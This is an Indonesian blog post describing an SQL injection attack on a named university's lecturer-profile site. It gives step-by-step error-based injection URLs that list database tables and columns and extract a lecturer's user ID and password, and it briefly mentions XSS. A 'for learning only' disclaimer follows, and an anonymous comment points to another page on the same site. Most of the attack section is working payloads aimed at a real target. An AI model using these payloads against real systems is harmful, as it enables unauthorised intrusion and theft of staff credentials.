w3lcom3 to my blog : blog from my inspiration

Google
 

Thursday, January 25, 2007

Hacking Situs Amikom

Sebuah situs yang canggih belum tentu memiliki security yang canggih. Buktinya situs amikom, beberapa hari yang lalu sempat di hack, hanya menggunakan teknik yang boleh dibilang cukup kuno. Iya cukup kuno, SQL Injection.

Bahkan ditemukan beberapa bug lainnya yaitu bisa ditembus dengan Cross Site Scripting alias XSS, teknik andalan Dani Firmansyah ketika meng-hack KPU.

Salut buat para pengembang situs amikom, hanya dalam waktu beberapa hari, situs ini telah diperbaiki sehingga bug-bug XSS dan SQL Injection tidak bisa tembus.

Bagaimana SQL Injection Bekerja di situs amikom?
Link di amikom (URL) tergolong masih lemah karena belum dilakukan enskripsi, perhatikan link berikut, http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010

link tersebut digunakan untuk menampilkan halaman dosen dengan nik 190302010.
ketika diberi single quota atau petik tunggal ('), link tersebut akan error
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010'


Lihat gambar lebih jelas

selanjutnya dilakukan injeksi ke query dengan memanfaatkan object Information_schema.tables untuk melakukan list terhadap tabel-tabel yang ada di database yang sedang dipakai. http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES))--SP_PASSWORD

Tabel yang pertama muncul adalah tabel PROJECTLITBANG
jika sudah mendapatkan 1 tabel, selanjutnya dilakukan list tabel selanjutnya http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN('PROJECTLITBANG')))--SP_PASSWORD
Script di atas akan menghasilkan tabel selanjutnya sampai anda ketemu semua tabel.

Lihat gambar lebih jelas

Jika tabel sudah di list, saatnya melakukan list column masing-masing tabel dengan memanfaatkan object Information_schema.Columns.

perhatikan script untuk melakukan list column tabel profildosen
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='PROFILDOSEN'))--SP_PASSWORD

setelah mendapatkan 1 column NIK, teruskan dengan column selanjutnya dengan menggunakan script http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='PROFILDOSEN' AND COLUMN_NAME NOT IN('NIK')))--SP_PASSWORD

Dapat lagi column selanjutnya sampai ketemu column PASS.
Dengan teknik yang ada di atas, anda bisa menebak tabel user untuk login, baik tabel mahasiswa maupun tabel dosen.

Langkah teakhir adalah menebak column user id dan password, dan gunakan script berikut untuk mendapatkan data user id dan password:
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 NIK %2B'/'%2BPASS FROM PROFILDOSEN WHERE NIK='190302010'))--SP_PASSWORD

Berikut adalah hasil yang didapat:

Lihat gambar lebih jelas
Peringatan: Ini hanya untuk pembelajaran, bukan untuk kejahatan!!!!!

3 Comments:

  • At 11:19 PM, Anonymous Anonymous said…

    wah, tembus toh?

     
  • At 11:59 PM, Anonymous Anonymous said…

    toew oew oew...

     
  • At 8:48 PM, Anonymous Anonymous said…

    http://forum.amikom.ac.id/forumv2/ < hihihihi

     

Post a Comment

<< Home